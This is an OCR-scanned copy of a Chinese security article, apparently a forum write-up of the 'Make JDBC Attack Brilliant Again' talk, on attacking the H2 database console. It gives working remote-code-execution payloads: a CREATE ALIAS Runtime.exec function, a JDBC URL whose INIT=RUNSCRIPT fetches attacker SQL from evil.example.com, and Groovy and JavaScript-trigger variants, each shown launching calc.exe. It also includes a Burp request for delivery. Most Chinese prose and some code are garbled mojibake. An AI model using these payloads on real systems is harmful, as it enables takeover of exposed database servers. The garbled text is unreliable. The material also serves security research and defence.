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M JDBC %l h2 database EE2a <17 — [REIXE & (Original
Article) — TOOLS | TR &R - BLI LS

TOOLS BIJLK @Litchl #1 @pyn3rd 7£ HITB & & 7 I E&MAR AR (Make JDBC

Attack Brilliant Again) , 1T 7 —&F>), PO T ER—LoEomHS....

BiIJLK @Litch1 1 @pyn3rd 7£ HITB &%k 7M1 IMN&EFARAR ( Make JDBC Attack Brilliant Again ) , 177 —

HFBFS), WL TEP—LoHoNHE T TEXEXE,

JDBC & Java HN—110O, BEMTEEMUEE, SMUUEESIE2EMXMEORS ECH JDBC
implement, & V89 JDBC M7 ARAEEXHTES Y JDBC £MRISIZE, DURERSIEEN URL,

// JIDBCEZERIURL, TNEEHIEEETEROEI:

String JDBC_URL = "jdbc:mysql://localhost:3306/test";

String JDBC_USER = "root";

String JDBC_PASSWORD = "password";

// FREVER::

Connection conn = DriverManager.getConnection(JDBC_URL, JDBC_USER, JDBC_PASSWORD);
// TODO: I5[a)204EEE. . .

/] KEhEE:

conn.close();

FE—EpET (CEaBUEEERE. MHAUEEEERS) . B IEH JDBC 89 URL, A4, WEPIEER
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GFE—LELEE, BRneESELRM, AEANMER, AJUSRIRIE PPT, AXEEMT T h2 database 19
VEESISNEI

0x01 h2 database console FiZ1XiAa]

h2 database 2—"14E Java RENKRBEIEZE, JAERNEFGET, BEHENENNA, iE2nhdP, Ea
ET salite AR, BRINTCED Java 1Y, BESEREMNHE,

HETEEKRENAT h2 database console BIARIZNISE/RE: < https://t.zsxg.com/bayRnaY >, h2 database
console 52 h2 database B A IRMHHII— Web BIETIE, ©7UAREREBIE h2 BURETANKED B IEUEE.

FAFENBE—1 h2 database console, XM AERIMEES Springboot /A, eI ER) (BEEZRNE 7 —1

Webserver) , BB &BENHERIIEE,

£ h2 EM NEHEITAR jar 8 < http://www.h2database.com/html/cheatSheet.ntml >, 8/, AR EFH

org.h2.tools.Server 77’5 .
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A java -cp h2-1.4.2

Starts the H2 Console (w

Usage: java org.
When running wi
Options are cas
[-help] or [—Z]
[-web]

[ -webAllowOthers

[ -webDaemon ]

[ -webPort <port>

[-webSSL]

h2.tools.Server
thout options, -tcp,
nsitive. buppﬂrted .ptlond are:

]
]

[ -webAdminPassword ]

[ -browser]
[-tecp]

[ -tcpAllowOthers
[ -tcpDaemon ]
[-tcpPort <port>
[-tepSSL]

]
]

[-tcpPassword <pwd:

[-tcpShutdown "<url>"]

[ -tepShutdownForce
[-pel]
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]

) server, TCP, and PG
<options>
-browser and -pg are

Print the list of options

Start the web server with the H2 Console

Allow other computers to connect -
Use a daemon thread

The port (default:

Use encrypted (HTTPS) connections
Password of DB Console administrator

Start a browser connecting to the web ser

Start the TCP server

Allow other computers to connect - see b

a daemon thread
The port (default: 9
Use encrypted (55L) connections
The password for shutting down a TCP
Stop the TCP server; example: tcp
Do not wait until all connections
Start the PG serv

e

started.

ver

].':Jhl
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Allow other computers to connect - see b
[ -pgDaemon ] Use a daemon thread
[-pgPort <port:> The port (default: 5435)
ie ; Server properties (default: ~, disable: null)
The ba dlertorw for H2 databa,H, (all s¢
Only e

Print additional trace inFDPmatiDn {all SErVErs)
Hllou, to map a databa name to another (all servers)

ai st Remote A
'tools/Server. html

PIDVBRIFTENZ L, B NER FEXFa<LE5) Web console, BIARIT 8082 i

java -cp h2-1.4.200.jar org.h2.tools.Server -web -webAllowOthers

EoiEEZAESRI— 1 ERNIE, EFESF(IEERNEUEEFZEE. Driver Class. JOBC URL. BFP&ZE1S
=

< C @ localhost:8082/login.jsp?jsessionid=c025a6abb00fbfd3a%aaaldbcce1851b
=25 Apps — Lk [ 5h M gt & mRiE-235F.. (O MEE @ DeeplTranslate By Go
|Eng|i5h v| Freferences Tools Help

Saved Settings: | Generic HZ2 (Embedded) V|

Setting Name: |Generic H2 (Embedded) | Save | Remove
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Driver Class: org.h2.Driver |
JDBC URL: jdbc:h2:mem:test_mem |
User Name: sa |
Password: |

Connect| | Test Connection

HNEER D Zr2E—T JNDI E)\Fﬁﬂ E R FAT BT AR Driver Class, AR BUER
javax.naming.InitialContext X7 ZE1H1T JNDIJEAN, EMIFERIUIEZE Vulhub IME

BARPTEZD, INDIEAX BAR Java INEZBRFIRY, BRT JNDIJEN, AXNET »—PEHIOF BT A,

0x02 H2 BIREEE R ST

BEAATSE H2, FATREZE— T, WRSFFRATIER SQL 1EE, BfIE h2 RUITRITERITES?
BIAENE, £ h2 XN fEe< B, B FMEMm T A LULER BEX R

o CREATE ALIAS

e CREATE TRIGGER

tban, FHAVFER create anias EEBIE— shell KEL, FEBZ:
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CREATE ALIAS shell AS $$void shell
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throws Exception {

java.lang.Runtime.getRuntime().exec(s);

19$9;

SELECT shell('cmd /c calc.exe');

£ h2 /B, W s FEAURTABEXIOKRFR S, BT h2 console FIHATIXMZE SQL 1&86), BIr[EEITE

og .

| & | BAuto commit “0 ‘o ‘Maxrows: 0 0 “ | Auto complete [off  v]Autoselect [On | (@)

(] jdbc:h2:mem:test

# ) INFORMATION_SCHEMA
{§ Users

(D H2 1.4.200 (2019-10-14)

https://www.t00ls .net/thread-62538-1-1.html

Run | Run Selected | | Auto complete | Clear | SQL statement

CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);

188;

SELECT shell('cmd /c calc.exe');

CREATE ALIAS shell AS $$void shell{String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);

188;

Update count: 0

(37 ms)

SELECT shell('cmd /c calc.exe');
PUBLIC.SHELL{'cmd /c calc.exe')
null
(1 row, 4 ms)

Calculator

= Standard 3

%

Yae

H

M+

History Memory

0 There's no history yet

Ms
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WEEWE, HSE h2 database console (FEMSHIT A AR, EEAMMIEEZ, AEHENMIEEEENR, TED
Bl# UDF FR47EN7],

AT, FBRBIHRSFMZEX T h2 console < #F "8I #UERE, SNEEREATFEIEEN=RIR TEANEIR:

Database "mem:test" not found, either pre-create it or allow remote database creation (not recommended in secure environments) [90149-200] 90149/90149 (Help)

BONBR NS "o, T 1FEAE/SE) console BYRIN -ifvotexists ZE, [EXHVEAMAIA AT BB X NR
o

0x03 JDBC FAHITIEESS

7

h2 console X MIERZIFHITZ S SQL1EGRY, BEABota=T, BFPAEEHTIRE JDBC 89 URL, LHRIZEER
BEHITIE RS 2IE?

LIS R E] h2 203 ER JDBC URL KIS —NECE i,  wnor X PSHERRAER h2 HIEEN, XEHHIT—

FAN TR,
NI REZEFRIT—5m%, MEBEPREREDS ; . EETMENS—7a%: russcrieT ,

runscrIpT (B S A THIT—T SQL {4, EEU] RUNSCRIPT FROM './backup.sql' , BEHINE,
org.h2.store.fs.FilePathDisk % /\\\%% U\ﬁfﬂ@?iﬁ?‘_ﬁiﬂl f@%%ﬁ'\iﬂ@?ﬁﬁ? URL:

https://www.t00ls.net/thread-62538-1-1.html
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@0verride
public InputStream newInputStream() throws IOException {
if (name.matches("[a-zA-Z]{2,19}:.*")) {
/7.
// otherwise a URL is assumed
URL url = new URL(Cnhame);
return url.openStream();

}

FileInputStream in = new FileInputStream(name);
I0Utils.trace("openFileInputStream”, name, in);
return in;

Java 25U URL XEBERSLFT, FRAFATRIASEE—1 HTTP Mhutkind, sal X4, tbal:
jdbc:h2:mem:test;MODE=MSSQLServer; INIT=RUNSCRIPT FROM 'http://evil.example.com/h2.sql’

IEEY, 33X http://evil.example.com/h2.sql F/FIIAIRLE Ox02 HHATEE G SIS SQL 180), JEIX
B\ h2 console 9B ZRTHE, Afaa® “Test Connection”, BENR[IENHENEERE R FHTE=ZSD:

™ JDBC URL

English v | Preferences Tools Help

Saved Settings: \ Generic H2 (Embedded) v\

Setting Name: ‘Generic H2 (Embedded) || SaveH Remove‘

Driver Class ‘ org.h2.Driver ‘ Calculator

JDBC URL: |idbe hz:mentest MODE=MSSQLServer INIT=RUNSCR | = Standard =

User Name: ‘ sa |

Password. ‘ | 0

‘ Connect| | Test Connection ‘
M+ M- Ms

0,

Test successful To CE C <&
e 2 ¥x -

https://www.t00ls.net/thread-62538-1-1.html

Memory

There's no history yet

8/15



2021/8/29

MIDBCZ[h2 database{T & A & AT - JAI 3 % 4ii (Original Article) - TOOLS | fIGiER & J& - 0 > 424>

7 8 9 X
4 5 6 b
1 2 3 P
. 0 =

XPTEMIPRT h2 console, FXAUEAFME . EPIBEZIFEE JOBC URL A9ty (XAEM T h2 k&) , #r]
MNETER X ERTERSS, MABAFENT "BSTFRIBEEE" B9RH,

0x04 FeIMMRIFIR 7 E

ERSBRT, WSSHIRT, BANBE LB RRERME, F %N rovscrrer rrow I
PIEERE SQL STH T

A4, BERSF 10 ol R FE0E?

31 create avtas HOSAEPIDURIN, Ff 1A BAERE Groovy BURAE Java SETE XA L
If you have the Groovy jar in your classpath, it is also possible to write methods using Groovy.
Example:

CREATE ALIAS tr AS $$@groovy.transform.CompileStatic static String tr(String str, String sourceSet, String

replacementSet){ return str.tr(sourceSet, replacementSet); } $$

TiC8 Groovy B, 7 2019 &, @orangetw & ﬁ%:zﬂ*| Jenkins AU ITIRIE , EHF MBI MIEEIRY Groovy

yhFE, FIRE T{EE w2 (Meta Programming) 45458 /DFa0075 %,
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e, RUEFA Groovy TTHRIEIFIG, 1E481F Groovy B8 (MIAERITH) RITHREETEANCES.

X MFMIEEETA]): Fefi)fE JOBC HE R FNIT—5 SQL 1B6), PRII(IRAE "E X UDF, MAEE “HiAT
UDF, MXTofRiEsIomEit—EEarEX (FiF) IURPHERAT,

BH1E{FR @orangetw 7E X4 A Payload fE8 create avias ADRUAD, AEEETEE SQLBGEN e SHH
1&:
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS shell2 AS $$@groovy.transform.ASTTest(value={

assert java.lang.Runtime.getRuntime().exec("cmd.exe /c calc.exe™)

H
def x$$

EHRENT, RIOMERE, AEMSBENINEEITERS:

Syntax error in SQL statement "@groovy.transform ASTTest(value={ assert java.lang. Runtime.getRuntime().exec("cmd.exe /c calc.exe™) }) def x"; SQL statement:
CREATE ALIAS shell? AS $$@aroovy transform ASTTest(value={ assert java lang Runtime getRuntime() exec("cmd exe /c calc exe™) }) def x$$ [42000-200] 42000/42000 (Help)

XZTAIREA?

S UEN, AR T —T5%E, REZARAFE Groovy HkEl:

4 Connectioninfo.java 4 SourceCompiler.java 4 Trigge

= initFailException

19 source

https://www.t00ls .net/thread-62538-1-1.html 10/15
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RuntimeException(

Runtim

FILL, BERX N EFRITERDS, 2FEAMEA Groovy KEiIHY, B84, HITFIUERZE—T, TEELHE
groovy—sqgl MA@ groovy:

dependency
groupId-org.codehaus.groovy</groupld
artifactId>groovy-sql</artifactld
version>3.0.8</version
dependency

BIEN LA Payload, BIRJAINSEHITEES:

English ~ | Preferences Tools Help
Saved Settings: | Generic H2 (Embedded) V\
Setting Name. |Gemer\c H2 (Embedded) Save || Remove
Driver Class: | org.h2.Driver | Calculator — m] X
JDBC URL: [ gbc:n2:mem test MODE=MSSQLServer init=CREATE A | = | Calculator = O
User Name: [sa | = Standard History  Memory

Password | ‘

Connect | Test Connection

0 There's no history yet
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DYNIEX eIror IN SUL STAlement (@groovy.ransTorm.A> | 1esi(value={  assert java.lang. Kunume. getxunume|().exec( - Cma.exe (C CalC.eXe ) j) GET X ; DL Sial
CREATE ALIAS shell2 AS $$@groovy transform ASTTest(value={ assert java lang Runtime getRuntime() exec("cmd exe /c calc exe") }) def x$$ [42000-200] o e c &
a3 x? ix =

7 8 9 X

4 5 6 g

1 2 3 ol

0x05 FFIMKIINER s ST HIE

[=)

R, EDEESE NFEWTROF B ANE?

R Ox04 REELIE Groovy X NEMHILEZ A HIRIE

BINEMIRE, ITHPBEXXEE (UDF) B9ARR 2 create anias , NH CREATE TRIGGER , (T H XA B]AERE
XAERIHEIR

Creates a new trigger. The trigger class must be public and implement org.h2.api.Trigger . INNer classes
are not supported. The class must be available in the classpath of the database engine (when using the
server mode, it must be in the classpath of the server).

The sourceCodeString must define a single method with no parameters that returns  org.h2.api.Trigger .
See creaTe anLias for requirements regarding the compilation. Alternatively,
javax.script.ScriptEngineManager can be used to create an instance Of org.h2.api.Trigger . Currently
javascript (included in every sre ) and ruby (with gruby ) are supported. In that case the source must begin

respectively with  //javascript O #ruby .

javax.script.ScriptEngineManager ﬂ LXJEH ?@U @ org.h2.api.Trigger ﬂj% o Javax.script.ScriptEngineManager Z'LE\/,[Z\j(

RERET, & Java HETHATHANSIZE, T Java 8 [RAEBT 1 JavaScript ARG E

https://www.t00ls.net/thread-62538-1-1.html 12/15
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ﬁﬂ?%?” org.h2.schema.TriggerObject@loadFromSource H;f , E\:E’JRTFH%HZ&T&EQ E/\] ﬂ\fﬁ :

if (SourceCompiler.isJavaxScriptSource(triggerSource)) {
return (Trigger) compiler.getCompiledScript(fullClassName).eval();

%E%E SourceCompiler.isJavaxScriptSource(triggerSource) %ﬁ—ﬁj, ﬁi/ﬁ\}ﬂﬁﬁéﬁ\%ﬁEQ JavaScript, #H_L'/fi’, é}ﬁi%ﬂ]

MATRON M AE—IRT .

BLrBENFEENETHE

public static boolean isJavaxScriptSource(String source) {
return isJavascriptSource(source) || isRubySource(source);

private static boolean isJavascriptSource(String source) {
return source.startsWith("//javascript™);

private static boolean isRubySource(String source) {
return source.startsWith("#ruby");

R%ﬁﬁ%ﬂ’\]ﬁ'ﬁﬁ%% //javascript , ﬁt/ﬁ\%ﬁi}\ﬁ% JavaScript ﬁfﬂZKo
AARERT, FAIMWEL FEXD JDBC URL:

jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $%$//jav
ascript
java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')

& &
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3D

BISERAYE, £ //javascript [EHTBEATHRIT,

NEEBHIT, PAINENINEEEENTZE R N\ IXE Payload, MHEEEA Burp MEREW AN EEZ, TEEE
DABIE: g

1 POST /test.do?jsessionid=4feSefffI8fcaadthadllaalé3bifa7é HrTR/1. 1

2 Host: 172.29.48.1:8082 Freferences Tools Help

3 Content-Length: 354

S Upgrade-TInsecure-Requests: 1 Calculator = m] X

6 origin: http://172.29.48.1:8082 aved Seffings: [ Generic H2 (Embedded) |

3

Content-Type: application/x-www-form-urle Standard = History Memory ting N o | e—
e piting Name: Generic H2 (Embeddsd) |SaveHRemmre‘
User-Agent: Mozilla/5.0 (Windows NT 10.0; MR | S——

safari/537.36

@

© Accept: There's no history yet liver Class: -
text/html, application/xhtml+xml, applicatio ‘am‘nE.Dnver |
jv=h3;q=0.9
geiv=hiiq PEC URL |i8be:n2mem test MODE=M $SQL Server ni=CREATE T |

Referer: http://172.29.48.1:8082/login. js

 |[Accept-Encoding: gaip, detlie M- - ms per ams:
2 Accept-Language: en-US,en;q=0.9, zh-CN;q=0.
4 % CE @ <l
.5 language=encsetting=GenerictHZ+%28Embedded |connect| |Test Connection|
jdbe$3AhZS3Ament3Atest $3BMODES3DMS SQLEServe
g 3 Ix e
.TABLES%Z0AS%Z0%24%24%C2FS2Fjavascript$0A%0 '
password=
7 8 9 x fror creating or initializing trigger "SHELL3" abject, class ™ sourea ", cause: "org h2 massage DbExesption: Syntax eror in SQL statament "/jjavaseript

java lang.Runtime_getRuntime().exec('cmd /c calc.exe’)

[42000-200]"; 5ee root cause for details; SQL statement:

[REATE TRIGGER shell2 BEFORE SELECT ON INFORMATION_SCHEMA TABLES AS 58//javascript
4 5 6 ey java lang. Runtime getRuntime().execl'cmd fc calc.exe’)

[90043-200] 90043/90043 (Help)

- 0 = —

EENXTHNABAIUSB R HRFEME, REBA—LERIZEG] JDBC URL M7 #TNALENR,

H4E
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BEE—T, AXBL ( Make JDBC Attack Brilliant Again ) &M, #HE T BRI E h2 database 7575, AR
—L& UDBC URL AIRMZS T, BIEER h2 FIBEN—LE5 R TERRD,

A AFE ARG FE h2 database console, XXM, FATFIB S INE —LLERS], tban:
o JF/2 -weballowothers IEIM, 5N IAH(G]
o FF/Z -ifvotExists LIN, <ITCIELUEE

B FEAML A gE A 121 JDBC URL RINZFE, 288 XEERRFIA, FTLAZR AR REXNLZ LA LANE.
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